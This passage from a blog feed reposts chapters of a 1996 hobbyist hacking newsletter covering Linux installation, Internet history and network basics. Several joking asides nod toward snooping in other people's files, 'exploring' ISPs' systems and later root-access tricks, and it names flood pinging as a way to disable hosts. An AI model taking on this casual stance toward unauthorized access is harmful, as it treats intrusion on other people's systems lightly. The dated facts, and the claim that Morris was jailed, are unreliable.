only. So if you can see pictures on the Web, you already have one of these available to you. &lt;br /&gt;The advantage of using one of these direct connections for your hacking activities is that you will not leave behind a shell log file for your ISP's sysadmin to pore over. Even if you are not breaking the law, a shell log file that shows you doing lots of hacker stuph can be enough for some sysadmins to summarily close your account. &lt;br /&gt;******************** &lt;br /&gt;What is the best kind of computer to run Unix on? Unless you are a wealthy hacker who thinks nothing of buying a Sun SPARC workstation, you'll probably do best with some sort of PC. There are almost countless variants of Unix that run on PCs, and a few for Macs. Most of them are free for download, or inexpensively available on CD-ROMs. &lt;br /&gt;The three most common variations of Unix that run on PCs are Sun's Solaris, FreeBSD and Linux. Solaris costs around $700. Enough said. FreeBSD is really, really good. But you con't find many manuals or newsgroups that cover FreeBSD. &lt;br /&gt;Linux, however, has the advantage of being available in many variants (so you can have fun mixing and matching programs from different Linux offerings). Most importantly, Linux is supported by many manuals, news groups, mail lists and Web sites. If you have hacker friends in your area, most of them probably use Linux and can help you out. &lt;br /&gt;********************* &lt;br /&gt;Historical note: Linux was created in 1991 by a group led by Linus Torvalds of the University of Helsinki. Linux is copyrighted under the GNU General Public License. Under this agreement, Linux may be redistributed to anyone along with the source code. Anyone can sell any variant of Linux and modify it and repackage it. But even if someone modifies the source code he or she may not claim copyright for anything created from Linux. Anyone who sells a modified version of Linux must provide source code to the buyers and allow them to reuse it in their commercial products without charging licensing fees. This arrangement is known as a "copyleft." &lt;br /&gt;Under this arrangement the original creators of Linux receive no licensing or shareware fees. Linus Torvalds and the many others who have contributed to Linux have done so from the joy of programming and a sense of community with all of us who will hopefully use Linux in the spirit of good guy hacking. Viva Linux! Viva Torvalds! &lt;br /&gt;********************** &lt;br /&gt;Linux consists of the operating system itself (called the "kernel") plus a set of associated programs. &lt;br /&gt;The kernel, like all types of Unix, is a multitasking, multi-user operating system. Although it uses a different file structure, and hence is not directly compatible with DOS and Windows, it is so flexible that many DOS and Windows programs can be run while in Linux. So a power user will probably want to boot up in Linux and then be able to run DOS and Windows programs from Linux. &lt;br /&gt;Associated programs that come with most Linux distributions may include: &lt;br /&gt;* a shell program (Bourne Again Shell -- BASH -- is most common); &lt;br /&gt;* compilers for programming languages such as Fortran-77 (my favorite!), C, C++, Pascal, LISP, Modula-2, Ada, Basic (the best language for a beginner), and Smalltalk.; &lt;br /&gt;* X (sometimes called X-windows), a graphical user interface &lt;br /&gt;* utility programs such as the email reader Pine (my favorite) and Elm &lt;br /&gt;Top ten reasons to install Linux on your PC: &lt;br /&gt;1.When Linux is outlawed, only outlaws will own Linux. &lt;br /&gt;2. When installing Linux, it is so much fun to run fdisk without backing up first. &lt;br /&gt;3.The flames you get from asking questions on Linux newsgroups are of a higher quality than the flames you get for posting to alt.sex.bestiality. &lt;br /&gt;4.No matter what flavor of Linux you install, you'll find out tomorrow there was a far more 3l1te ersion you should have gotten instead. &lt;br /&gt;5.People who use Free BSD or Solaris will not make fun of you. They will offer their sympathy instead. &lt;br /&gt;6.At the next Def Con you'll be able to say stuph like "so then I su-ed to his account and grepped all his files for 'kissyface'." Oops, grepping other people's files is a no-no, forget I ever suggested it. &lt;br /&gt;7.Port surf in privacy. &lt;br /&gt;8.One word: exploits. &lt;br /&gt;9.Installing Linux on your office PC is like being a postal worker and bringing an Uzi to work. &lt;br /&gt;10.But - - if you install Linux on your office computer, you boss won't have a clue what that means. &lt;br /&gt;What types of Linux work best? It depends on what you really want. Redhat Linux is famed for being the easiest to install. The Walnut Creek Linux 3.0 CD-ROM set is also really easy to install -- for Linux, that is! My approach has been to get lots of Linux versions and mix and match the best from each distribution. &lt;br /&gt;I like the Walnut Creek version best because with my brand X hardware, its autodetection feature was a life-saver. &lt;br /&gt;INSTALLING LINUX is not for the faint of heart! Several tips for surviving installation are: &lt;br /&gt;1) Although you in theory can run Linux on a 286 with 4 MB RAM and two floppy drives, it is *much* easier with a 486 or above with 8 MB RAM, a CD-ROM, and at least 200 MB free hard disk space. &lt;br /&gt;2) Know as much as possible about what type of mother board, modem, hard disk, CD-ROM, and video card you have. If you have any documentation for these, have them on hand to reference during installation. &lt;br /&gt;3) It works better to use hardware that is name-brand and somewhat out-of-date on your computer. Because Linux is freeware, it doesn't offer device drivers for all the latest hardware. And if your hardware is like mine -- lots of Brand X and El Cheapo stuph, you can take a long time experimenting with what drivers will work. &lt;br /&gt;4) Before beginning installation, back up your hard disk(s)! In theory you can install Linux without harming your DOS/Windows files. But we are all human, especially if following the advice of point 7). &lt;br /&gt;5) Get more than one Linux distribution. The first time I successfully installed Linux, I finally hit on something that worked by using the boot disk from one distribution with the CD-ROM for another. In any case, each Linux distribution had different utility programs, operating system emulators, compilers and more. Add them all to your system and you will be set up to become beyond elite. &lt;br /&gt;6) Buy a book or two or three on Linux. I didn't like any of them! But they are better than nothing. Most books on Linux come with one or two CD-ROMs that can be used to install Linux. But I found that what was in the books did not exactly coincide with what was on the CD-ROMs. &lt;br /&gt;7) I recommend drinking while installing. It may not make debugging go any faster, but at least you won't care how hard it is. &lt;br /&gt;Now I can almost guarantee that even following all these 6 pieces of advice, you will still have problems installing Linux. Oh, do I have 7 advisories up there? Forget number 7. But be of good cheer. Since everyone else also suffers mightily when installing and using Linux, the Internet has an incredible wealth of resources for the Linux -challenged. &lt;br /&gt;If you are allergic to getting flamed, you can start out with Linux support Web sites. &lt;br /&gt;The best I have found is http://sunsite.unc.edu:/pub/Linux/. It includes the Linux Frequently Asked Questions list (FAQ), available from &lt;br /&gt;sunsite.unc.edu:/pub/Linux/docs/FAQ. &lt;br /&gt;In the directory /pub/Linux/docs on sunsite.unc.edu you'll find a number of other documents about Linux, including the Linux INFO-SHEET and META-FAQ, &lt;br /&gt;The Linux HOWTO archive is on the sunsite.unc.edu Web site at: /pub/Linux/docs/HOWTO. The directory /pub/Linux/docs/LDP contains the current set of LDP manuals. &lt;br /&gt;You can get ``Linux Installation and Getting Started'' from sunsite.unc.edu in /pub/Linux/docs/LDP/install-guide. The README file there describes how you can order a printed copy of the book of the same name (about 180 pages). &lt;br /&gt;Now if you don't mind getting flamed, you may want to post questions to the amazing number of Usenet news groups that cover Linux. These include: &lt;br /&gt;comp.os.linux.advocacy Benefits of Linux compared &lt;br /&gt;comp.os.linux.development.system Linux kernels, device drivers &lt;br /&gt;comp.os.linux.x Linux X Window System servers &lt;br /&gt;comp.os.linux.development.apps Writing Linux applications &lt;br /&gt;comp.os.linux.hardware Hardware compatibility &lt;br /&gt;comp.os.linux.setup Linux installation &lt;br /&gt;comp.os.linux.networking Networking and communications &lt;br /&gt;comp.os.linux.answers FAQs, How-To's, READMEs, etc. &lt;br /&gt;linux.redhat.misc &lt;br /&gt;alt.os.linux Use comp.os.linux.* instead &lt;br /&gt;alt.uu.comp.os.linux.questions Usenet University helps you &lt;br /&gt;comp.os.linux.announce Announcements important to Linux &lt;br /&gt;comp.os.linux.misc Linux-specific topics &lt;br /&gt;Want your Linux free? Tobin Fricke has pointed out that "free copies of Linux CD-ROMs are available the Linux Support &amp; CD Givaway web site at http://emile.math.ucsb.edu:8000/giveaway.html. This is a project where people donate Linux CD's that they don't need any more. The project was seeded by Linux Systems Labs, who donated 800 Linux CDs initially! Please remember to donate your Linux CD's when you are done with them. If you live near a computer swap meet, Fry's, Microcenter, or other such place, look for Linux CD's there. They are usually under $20, which is an excellent investment. I personally like the Linux Developer's Resource by Infomagic, which is now up to a seven CD set, I believe, which includes all major Linux distributions (Slackware, Redhat, Debian, Linux for DEC Alpha to name a few)plus mirrors of tsx11.mit.edu and sunsite.unc.edu/pub/linux plus much more. You should also visit the WONDERFUL linux page at &lt;br /&gt;http://sunsite.unc.edu/linux, which has tons of information, as well as the &lt;br /&gt;http://www.linux.org/. You might also want to check out &lt;br /&gt;http://www.redhat.com/ and http://www.caldera.com/ for more &lt;br /&gt;information on commercial versions of linux (which are still freely available under GNU)." &lt;br /&gt;How about Linux security? Yes, Linux, like every operating system, is imperfect. Eminently hackable, if you really want to know. So if you want to find out how to secure your Linux system, or if you should come across one of the many ISPs that use Linux and want to go exploring (oops, forget I &lt;br /&gt;wrote that), here's where you can go for info: &lt;br /&gt;ftp://info.cert.org/pub/cert_advisories/CA-94:01.network.monitoring.attacks &lt;br /&gt;ftp://info.cert.org/pub/tech_tips/root_compromise &lt;br /&gt;http://bach.cis.temple.edu/linux/linux-security/ &lt;br /&gt;http://www.geek-girl.com/bugtraq/ &lt;br /&gt;There is also help for Linux users on Internet Relay Chat (IRC). Ben (cyberkid@usa.net) &lt;br /&gt;hosts a channel called #LinuxHelp on the Undernet IRC server. &lt;br /&gt;&lt;br /&gt;Last but not least, if you want to ask Linux questions on the Happy Hacker list, you're welcome. We may be the blind leading the blind, but what &lt;br /&gt;the heck! &lt;br /&gt;________________________________________ &lt;br /&gt;Copyright 1996 Carolyn P. Meinel. You may forward the GUIDE TO (mostly) HARMLESS HACKING as long as you leave this notice at the end. &lt;br /&gt;________________________________________&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-2001140277468667867?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/2001140277468667867/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-harmless-chapter-2.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/2001140277468667867'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/2001140277468667867'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-harmless-chapter-2.html' title='hacking harmless chapter 2'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-8551857450794851594</id><published>2009-05-27T13:53:00.003-07:00</published><updated>2009-05-27T13:53:47.575-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Hacking for Dummies</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Hacking for Dummies&lt;br /&gt;&lt;br /&gt;Contents of Volume 2: &lt;br /&gt;Internet for Dummies &lt;br /&gt;Linux! &lt;br /&gt;Introduction to TCP/IP &lt;br /&gt;Port Surfing! &lt;br /&gt;____________________________________________________________ &lt;br /&gt;GUIDE TO (mostly) HARMLESS HACKING &lt;br /&gt;Vol. 2 Number 1 &lt;br /&gt;Internet for Dummies -- skip this if you are a Unix wizard. But if you read on you’ll get some more kewl hacking instructions. &lt;br /&gt;____________________________________________________________ &lt;br /&gt;The six Guides to (mostly) Harmless Hacking of Vol. 1 jumped immediately into how-to hacking tricks. But if you are like me, all those details of probing ports and playing with hypotheses and pinging down hosts gets a little dizzying. &lt;br /&gt;So how about catching our breath, standing back and reviewing what the heck it is that we are playing with? Once we get the basics under control, we then can move on to serious hacking. &lt;br /&gt;Also, I have been wrestling with my conscience over whether to start giving you step-by-step instructions on how to gain root access to other peoples’ computers. The little angel on my right shoulder whispers, “Gaining root without permission on other people’s computers is not nice. So don’t tell people how to do it.” The little devil on my left shoulder says, “Carolyn, all these hackers think you don’t know nothin’! PROOVE to them you know how to crack!” The little angel says, “If anyone reading Guide to (mostly) Harmless Hacking tries out this trick, you might get in trouble with the law for conspiracy to damage other peoples’ computers.” The little devil says, “But, Carolyn, tell people how to crack into root and they will think you are KEWL!” &lt;br /&gt;So here’s the deal. In this and the next few issues of Guide to (mostly) Harmless Hacking I’ll tell you several ways to get logged on as the superuser in the root account of some Internet host computers. But the instructions will leave a thing or two to the imagination. &lt;br /&gt;My theory is that if you are willing to wade through all this, you probably aren’t one of those cheap thrills hacker wannabes who would use this knowledge to do something destructive that would land you in jail. &lt;br /&gt;***************************** &lt;br /&gt;Technical tip: If you wish to become a *serious* hacker, you’ll need Linux (a freeware variety of Unix) on your PC. One reason is that then you can crack into root legally all you want -- on your own computer. It sure beats struggling around on someone else’s computer only to discover that what you thought was root was a cleverly set trap and the sysadmin and FBI laugh at you all the way to jail. &lt;br /&gt;Linux can be installed on a PC with as little as a 386 CPU, only 2 Mb RAM and as little as 20 MB of hard disk. You will need to reformat your hard disk. While some people have successfully installed Linux without trashing their DOS/Windows stuff, don’t count on getting away with it. Backup, backup, backup! &lt;br /&gt;***************************** &lt;br /&gt;***************************** &lt;br /&gt;You can go to jail warning: Crack into root on someone else’s computer and the slammer becomes a definite possibility. Think about this: when you see a news story about some hacker getting busted, how often do you recognize the name? How often is the latest bust being done to someone famous, like Dark Tangent or se7en or Emmanuel Goldstein? How about, like, never! That’s because really good hackers figure out how to not do stupid stuff. They learn how to crack into computers for the intellectual challenge and to figure out how to make computers safe from intruders. They don’t bull their way into root and make a mess of things, which tends to inspire sysadmins to call the cops. &lt;br /&gt;********************************* &lt;br /&gt;Exciting notice: Is it too boring to just hack into your own Linux machine? Hang in there. Ira Winkler of the National Computer Security Association, Dean Garlick of the Space Dynamics Lab of Utah State University and I are working on setting up hack.net, a place where it will be legal to break into computers. Not only that, we’re looking for sponsors who will give cash awards and scholarships to those who show the greatest hacking skills. Now does that sound like more phun than jail? &lt;br /&gt;***************************** &lt;br /&gt;So, let’s jump into our hacking basics tutorial with a look at the wondrous anarchy that is the Internet. &lt;br /&gt;Note that these Guides to (mostly) Harmless Hacking focus on the Internet. That is because there are many legal ways to hack on the Internet. Also, there are over 10 million of these readily hackable computers on the Internet, and the number grows every day. &lt;br /&gt;Internet Basics &lt;br /&gt;No one owns the Internet. No one runs it. It was never planned to be what it is today. It just happened, the mutant outgrowth of a 1969 US Defense Advanced Research Projects Agency experiment. &lt;br /&gt;This anarchic system remains tied together because its users voluntarily obey some basic rules. These rules can be summed up in two words: Unix and TCP/IP (with a nod to UUCP). If you understand, truly understand Unix and TCP/IP (and UUCP), you will become a fish swimming in the sea of cyberspace, an Uberhacker among hacker wannabes, a master of the Internet universe. &lt;br /&gt;To get technical, the Internet is a world-wide distributed computer/communications network held together by a common communications standard, Transmission Control Protocol/Internet Protocol (TCP/IP) and a bit of UUCP. These standards allow anyone to hook up a computer to the Internet, which then becomes another node in this network of the Internet. All that is needed is to get an Internet address assigned to the new computer, which is then known as an Internet "host," and tie into an Internet communications link. These links are now available in almost all parts of the world. &lt;br /&gt;If you use an on-line service from your personal computer, you, too, can temporarily become part of the Internet. There are two main ways to hook up to an on-line service. &lt;br /&gt;There is the cybercouch potato connection that every newbie uses. It requires either a point-to-point (PPP) or SLIPconnection, which allows you to run pretty pictures with your Web browser. If you got some sort of packaged software from your ISP, it automatically gives you this sort of connection. &lt;br /&gt;Or you can connect with a terminal emulator to an Internet host. This program may be something as simple as the Windows 3.1 “Terminal” program under the “Accessories” icon. Once you have dialed in and connected you are just another terminal on this host machine. It won’t give you pretty pictures. This connection will be similar to what you get on an old-fashioned BBS. But if you know how to use this kind of connection, it could even give you root access to that host. &lt;br /&gt;But how is the host computer you use attached to the Internet? It will be running some variety of the Unix operating system. Since Unix is so easy to adapt to almost any computer, this means that almost any computer may become an Internet host. &lt;br /&gt;For example, I sometimes enter the Internet through a host which is a Silicon Graphics Indigo computer at Utah State University. Its Internet address is fantasia.idec.sdl.usu.edu. This is a computer optimized for computer animation work, but it can also operate as an Internet host. On other occasions the entry point used may be pegasus.unm.edu, which is an IBM RS 6000 Model 370. This is a computer optimized for research at the University of New Mexico. &lt;br /&gt;Any computer which can run the necessary software -- which is basically the Unix operating system -- has a modem, and is tied to an Internet communications link, may become an Internet node. Even a PC may become an Internet host by running one of the Linux flavors of Unix. After setting it up with Linux you can arrange with the ISP of your choice to link it permanently to the Internet. &lt;br /&gt;In fact, many ISPs use nothing more than networked PCs running Linux! &lt;br /&gt;As a result, all the computing, data storage, and sending, receiving and forwarding of messages on the Internet is handled by the millions of computers of many types and owned by countless companies, educational institutions, governmental entities and even individuals. &lt;br /&gt;Each of these computers has an individual address which enables it to be reached through the Internet if hooked up to a appropriate communications link. This address may be represented in two ways: as a name or a number. &lt;br /&gt;The communications links of the Internet are also owned and maintained in the same anarchic fashion as the hosts. Each owner of an Internet host is responsible for finding and paying for a communications link that will get that host tied in with at least one other host. Communications links may be as simple as a phone line, a wireless data link such as cellular digital packet data, or as complicated as a high speed fiber optic link. As long as the communications link can use TCP/IP or UUCP, it can fit into the Internet. &lt;br /&gt;Thus the net grows with no overall coordination. A new owner of an Internet host need only get permission to tie into one communications link to one other host. Alternatively, if the provider of the communications link decides this host is, for example, a haven for spammers, it can cut this “rogue site” off of the Internet. The rogue site then must snooker some other communications link into tying it into the Internet again. &lt;br /&gt;The way most of these interconnected computers and communications links work is through the common language of the TCP/IP protocol. Basically, TCP/IP breaks any Internet communication into discrete "packets." Each packet includes information on how to rout it, error correction, and the addresses of the sender and recipient. The idea is that if a packet is lost, the sender will know it and resend the packet. Each packet is then launched into the Internet. This network may automatically choose a route from node to node for each packet using whatever is available at the time, and reassembles the packets into the complete message at the computer to which it was addressed. &lt;br /&gt;These packets may follow tortuous routes. For example, one packet may go from a node in Boston to Amsterdam and back to the US for final destination in Houston, while another packet from the same message might be routed through Tokyo and Athens, and so on. Usually, however, the communications links are not nearly so torturous. Communications links may include fiber optics, phone lines and satellites. &lt;br /&gt;The strength of this packet-switched network is that most messages will automatically get through despite heavy message traffic congestion and many communications links being out of service. The disadvantage is that messages may simply disappear within the system. It also may be difficult to reach desired computers if too many communications links are unavailable at the time. &lt;br /&gt;However, all these wonderful features are also profoundly hackable. The Internet is robust enough to survive -- so its inventors claim -- even nuclear war. Yet it is also so weak that with only a little bit of instruction, it is possible to learn how to seriously spoof the system (forged email) or even temporarily put out of commission other people's Internet host computers (flood pinging, for example.) &lt;br /&gt;On the other hand, the headers on the packets that carry hacking commands will give away the account information from which a hacker is operating. For this reason it is hard to hide perfectly when on the Internet. &lt;br /&gt;It is this tension between this power and robustness and weakness and potential for confusion that makes the Internet a hacker playground. &lt;br /&gt;For example, HERE IS YOUR HACKER TIP YOU’VE BEEN WAITING FOR THIS ISSUE: &lt;br /&gt;ftp://ftp.secnet.com &lt;br /&gt;This ftp site was posted on the BUGTRAQ list, which is dedicated to discussion of Unix security holes. Moderator is Aleph One, who is a genuine Uberhacker. If you want to subscribe to the BUGTRAQ, email LISTSERV@netspace.org with message “subscribe BUGTRAQ.” &lt;br /&gt;Now, back to Internet basics. &lt;br /&gt;History of Internet &lt;br /&gt;As mentioned above, the Internet was born as a US Advanced Research Projects Agency (ARPA) effort in 1969. Its inventors called it ARPANET. But because of its value in scientific research, the US National Science Foundation (NSF) took it over in 1983. But over the years since then it gradually evolved away from any single source of control. In April 1995 NSF cut the last apron strings. Now the Internet is run by no one. It just happens and grows out of the efforts of those who play with it and struggle with the software and hardware. &lt;br /&gt;Nothing at all like this has ever happened before. We now have a computer system with a life of its own. We, as hackers, form a big part of the mutation engine that keeps the Internet evolving and growing stronger. We also form a big part of the immune system of this exotic creature. &lt;br /&gt;The original idea of ARPANET was to design a computer and communications network that would eventually become so redundant, so robust, and so able to operate without centralized control, that it could even survive nuclear war. What also happened was that ARPANET evolved into a being that has survived the end of government funding without even a blip in its growth. Thus its anarchic offspring, the Internet, has succeeded beyond the wildest dreams of its original architects. &lt;br /&gt;The Internet has grown explosively, with no end in sight. At its inception as ARPANET it held only 4 hosts. A quarter of a century later, in 1984, it contained only 1000 hosts. But over the next 5 years this number grew tenfold to 10,000 (1989). Over the following 4 years it grew another tenfold to 1 million (1993). Two years later, at the end of 1995, the Internet was estimated to have at least 6 million host computers. There are probably over 10 million now. There appears to be no end in sight yet to the incredible growth of this mutant child of ARPANET. &lt;br /&gt;In fact, one concern raised by the exponential growth in the Internet is that demand may eventually far outrace capacity. Because now no entity owns or controls the Internet, if the capacity of the communications links among nodes is too small, and it were to become seriously bogged down, it might be difficult to fix the problem. &lt;br /&gt;For example, in 1988, Robert Morris, Jr. unleashed a "virus"-type program on the Internet commonly known as the “Morris Worm.” This virus would make copies of itself on whatever computer it was on and then send copies over communications links to other Internet hosts. (It used a bug in sendmail that allowed access to root, allowing the virus to act as the superuser). &lt;br /&gt;Quickly the exponential spread of this virus made the Internet collapse from the communications traffic and disk space it tied up. &lt;br /&gt;At the time the Internet was still under some semblance of control by the National Science Foundation and was connected to only a few thousand computers. The Net was shut down and all viruses purged from its host computers, and then the Net was put back into operation. Morris, meanwhile, was put in jail. &lt;br /&gt;There is some concern that, despite improved security measures (for example, "firewalls"), someone may find a new way to launch a virus that could again shut down the Internet. Given the loss of centralized control, restarting it could be much more time-consuming if this were to happen again. &lt;br /&gt;But reestablishing a centralized control today like what existed at the time of the “Morris Worm” is likely to be impossible. Even if it were possible, the original ARPANET architects were probably correct in their assessment that the Net would become more susceptible for massive failure rather than less if some centralized control were in place. &lt;br /&gt;Perhaps the single most significant feature of today's Internet is this lack of centralized control. No person or organization is now able to control the Internet. In fact, the difficulty of control became an issue as early as its first year of operation as ARPANET. In that year email was spontaneously invented by its users. To the surprise of ARPANET's managers, by the second year email accounted for the bulk of the communication over the system. &lt;br /&gt;Because the Internet had grown to have a fully autonomous, decentralized life of its own, in April 1995, the NSF quit funding NSFNET, the fiber optics communications backbone which at one time had given NSF the technology to control the system. The proliferation of parallel communications links and hosts had by then completely bypassed any possibility of centralized control. &lt;br /&gt;There are several major features of the Internet: &lt;br /&gt;* World Wide Web -- a hypertext publishing network and now the fastest growing part of the Internet. &lt;br /&gt;* email -- a way to send electronic messages &lt;br /&gt;* Usenet -- forums in which people can post and view public messages &lt;br /&gt;* telnet -- a way to login to remote Internet computers &lt;br /&gt;* file transfer protocol -- a way to download files from remote Internet computers &lt;br /&gt;* Internet relay chat -- real-time text conversations -- used primarily by hackers and other Internet old-timers &lt;br /&gt;* gopher -- a way of cataloging and searching for information. This is rapidly growing obsolete. &lt;br /&gt;As you port surfers know, there are dozens of other interesting but less well known services such as whois, finger, ping etc. &lt;br /&gt;The World Wide Web &lt;br /&gt;The World Wide Web is the newest major feature of the Internet, dating from the spring of 1992. It consists of "Web pages," which are like pages in a book, and links from specially marked words, phrases or symbols on each page to other Web pages. These pages and links together create what is known as "hypertext." This technique makes it possible to tie together many different documents which may be written by many people and stored on many different computers around the world into one hypertext document. &lt;br /&gt;This technique is based upon the Universal Resource Locator (URL) standard, which specifies how to hook up with the computer and access the files within it where the data of a Web page may be stored. &lt;br /&gt;A URL is always of the form http://&lt;rest of address&gt;, where &lt;rest of address&gt; includes a domain name which must be registered with an organization called InterNIC in order to make sure that two different Web pages (or email addresses, or computer addresses) don't end up being identical. This registration is one of the few centralized control features of the Internet. &lt;br /&gt;Here's how the hypertext of the World Wide Web works. The reader would come to a statement such as "our company offers LTL truck service to all major US cities." If this statement on the "Web page" is highlighted, that means that a click of the reader's computer mouse will take him or her to a new Web page with details. These may include complete schedules and a form to fill out to order a pickup and delivery. &lt;br /&gt;Some Web pages even offer ways to make electronic payments, usually through credit cards. &lt;br /&gt;However, the security of money transfers over the Internet is still a major issue. Yet despite concerns with verifiability of financial transactions, electronic commerce over the Web is growing fast. In its second full year of existence, 1994, only some $17.6 million in sales were conducted over the Web. But in 1995, sales reached $400 million. Today, in 1996, the Web is jammed with commercial sites begging for your credit card information. &lt;br /&gt;In addition, the Web is being used as a tool in the distribution of a new form of currency, known as electronic cash. It is conceivable that, if the hurdle of verifiability may be overcome, that electronic cash (often called ecash) may play a major role in the world economy, simplifying international trade. It may also eventually make national currencies and even taxation as we know it obsolete. &lt;br /&gt;Examples of Web sites where one may obtain ecash include the Mark Twain Bank of St. Louis, MO (http://www.marktwain.com) and Digicash of Amsterdam, The Netherlands (http://www.digicash.com). &lt;br /&gt;The almost out-of-control nature of the Internet manifests itself on the World Wide Web. The author of a Web page does not need to get permission or make any arrangement with the authors of other Web pages to which he or she wishes to establish links. Links may be established automatically simply by programming in the URLs of desired Web page links. &lt;br /&gt;Conversely, the only way the author of a Web page can prevent other people from reading it or establishing hypertext links to it is to set up a password protection system (or by not having communications links to the rest of the Internet). &lt;br /&gt;A problem with the World Wide Web is how to find things on it. Just as anyone may hook a new computer up to the Internet, so also there is no central authority with control or even knowledge of what is published where on the World Wide Web. No one needs to ask permission of a central authority to put up a Web page. &lt;br /&gt;Once a user knows the address (URL) of a Web page, or at least the URL of a Web page that links eventually to the desired page, then it is possible (so long as communications links are available) to almost instantly hook up with this page. &lt;br /&gt;Because of the value of knowing URLs, there now are many companies and academic institutions that offer searchable indexes (located on the Web) to the World Wide Web. Automated programs such as Web crawlers search the Web and catalog the URLs they encounter as they travel from hypertext link to hypertext link. But because the Web is constantly growing and changing, there is no way to create a comprehensive catalog of the entire Web. &lt;br /&gt;Email &lt;br /&gt;Email is the second oldest use of the Internet, dating back to the ARPAnet of 1972. (The first use was to allow people to remotely log in to their choice of one of the four computers on which ARPAnet was launched in 1971.) &lt;br /&gt;There are two major uses of email: private communications, and broadcasted email. When broadcasted, email serves to make announcements (one-way broadcasting), and to carry on discussions among groups of people such as our Happy Hacker list. In the group discussion mode, every message sent by every member of the list is broadcasted to all other members. &lt;br /&gt;The two most popular program types used to broadcast to email discussion groups are majordomo and listserv. &lt;br /&gt;Usenet &lt;br /&gt;Usenet was a natural outgrowth of the broadcasted email group discussion list. One problem with email lists is that there was no easy way for people new to these groups to join them. Another problem is that as the group grows, a member may be deluged with dozens or hundreds of email messages each day. &lt;br /&gt;In 1979 these problems were addressed by the launch of Usenet. Usenet consists of news groups which carry on discussions in the form of "posts." Unlike an email discussion group, these posts are stored, typically for two weeks or so, awaiting potential readers. As new posts are submitted to a news group, they are broadcast to all Internet hosts that are subscribed to carry the news groups to which these posts belong. &lt;br /&gt;With many Internet connection programs you can see the similarities between Usenet and email. Both have similar headers, which track their movement across the Net. Some programs such as Pine are sent up to send the same message simultaneously to both email addresses and newsgroups. All Usenet news readers allow you to email the authors of posts, and many also allow you to email these posts themselves to yourself or other people. &lt;br /&gt;Now, here is a quick overview of the Internet basics we plan to cover in the next several issues of Guide to (mostly) Harmless Hacking: &lt;br /&gt;1. Unix &lt;br /&gt;We discuss “shells” which allow one to write programs (“scripts”) that automate complicated series of Unix commands. The reader is introduced to the concept of scripts which perform hacking functions. We introduce Perl, which is a shell programming language used for the most elite of hacking scripts such as SATAN. &lt;br /&gt;3. TCP/IP and UUCP &lt;br /&gt;This chapter covers the communications links that bind together the Internet from a hackers' perspective. Extra attention is given to UUCP since it is so hackable. &lt;br /&gt;4. Internet Addresses, Domain Names and Routers &lt;br /&gt;The reader learns how information is sent to the right places on the Internet, and how hackers can make it go to the wrong places! How to look up UUCP hosts (which are not under the domain name system) is included. &lt;br /&gt;5. Fundamentals of Elite Hacking: Ports, Packets and File Permissions &lt;br /&gt;This section lets the genie of serious hacking out of the bottle. It offers a series of exercises in which the reader can enjoy gaining access to almost any randomly chosen Internet host. In fact, by the end of the chapter the reader will have had the chance to practice several dozen techniques for gaining entry to other peoples' computers. Yet these hacks we teach are 100% legal! &lt;br /&gt;_________________________________________________________ &lt;br /&gt;Want to subscribe to this list? Email hacker@techbroker.com with the message “subscribe happyhacker.” Want to share some kewl stuph with the Happy Hacker list? Send your messages to hacker@techbroker.com. To send me confidential email (please, no discussions of illegal activities) use cmeinel@techbroker.com. Please direct flames to dev/null@techbroker.com. Happy hacking! &lt;br /&gt;Copyright 1996 Carolyn P. Meinel. You may forward the GUIDE TO (mostly) HARMLESS HACKING as long as you leave this notice at the end.. &lt;br /&gt;________________________________________________________ &lt;br /&gt;________________________________________&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-8551857450794851594?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/8551857450794851594/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-for-dummies.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/8551857450794851594'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/8551857450794851594'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-for-dummies.html' title='Hacking for Dummies'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-7223835943131563744</id><published>2009-05-27T13:53:00.001-07:00</published><updated>2009-05-27T13:53:13.902-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Hackmind</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;So you wanna be a HACKER huh? &lt;Bwahahaha!&gt; It's a state-of-MIND!&lt;br /&gt;..you can induce it - but only if you are willing to drive yourself&lt;br /&gt;mad enough! Go read and practice until you have mastered at least&lt;br /&gt;Assembly language and Intermediate Level Electronics! Without 